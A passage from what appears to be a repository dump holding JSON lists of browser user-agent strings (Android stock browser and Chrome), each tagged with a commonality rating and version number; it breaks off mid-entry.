(Linux; U; Android 4.1.1; en-ca; SGH-T999V Build\\/JRO03L) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.0.4; en-us; GT-I9100 Build\\/IMM76D) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.2; en-us; SGH-T599 Build\\/JZO54K) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30evme-launcher\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.1.1; cs-cz; Build\\/JRO03C) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.5; en-us; TECNO N3 Build\\/master) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.2.2; en-us; HUAWEI G730-U10 Build\\/HuaweiG730-U10) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.4; ko-kr; SM-G720N0 Build\\/KTU84P) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.3; es-us; GT-I9300 Build\\/JSS15J) AppleWebKit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 2.3.4; en-us; A1_07 Build\\/GRJ22) AppleWebKit\\/533.1 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/533.1\"}]"
  },
  {
    "path": "User Agents/json/chrome.json",
    "content": "[{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.157 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.104 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.113 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.135 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.95 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; vivo 1603 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"v1\",\"ua\":\"Mozilla\\/5.0 (Unknown; Linux) AppleWebKit\\/538.1 (KHTML, like Gecko) Chrome\\/v1.0.0 Safari\\/538.1\"},{\"commonality\":\"Very common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"61\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.79 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; vivo 1713 Build\\/MRA58K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.94 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.132 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"59\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.103 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"53\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0; vivo 1610 Build\\/MMB29M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.124 Mobile Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 6.0.1; SM-G532G Build\\/MMB29T) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.83 Mobile Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"55\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.1.1; vivo X7 Build\\/LMY47V; wv) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/4.0 Chrome\\/48.0.2564.116 Mobile Safari\\/537.36 baiduboxapp\\/8.6.5 (Baidu; P1 5.1.1)\"},{\"commonality\":\"Very common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.101 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.112 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2228.0 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Very common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.31 (KHTML, like Gecko) Chrome\\/26.0.1410.64 Safari\\/537.31\"},{\"commonality\":\"Common\",\"version\":\"47\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"54\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.99 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.106 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"60\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.110 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"63\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/63.0.3239.84 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.86 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"65\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"62\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.90 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.109 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"50\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.65 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2704.63 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"57\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"56\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.186 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"58\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.85 Safari\\/537.36\"},{\"commonality\":\"Common\",\"version\":\"64\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; 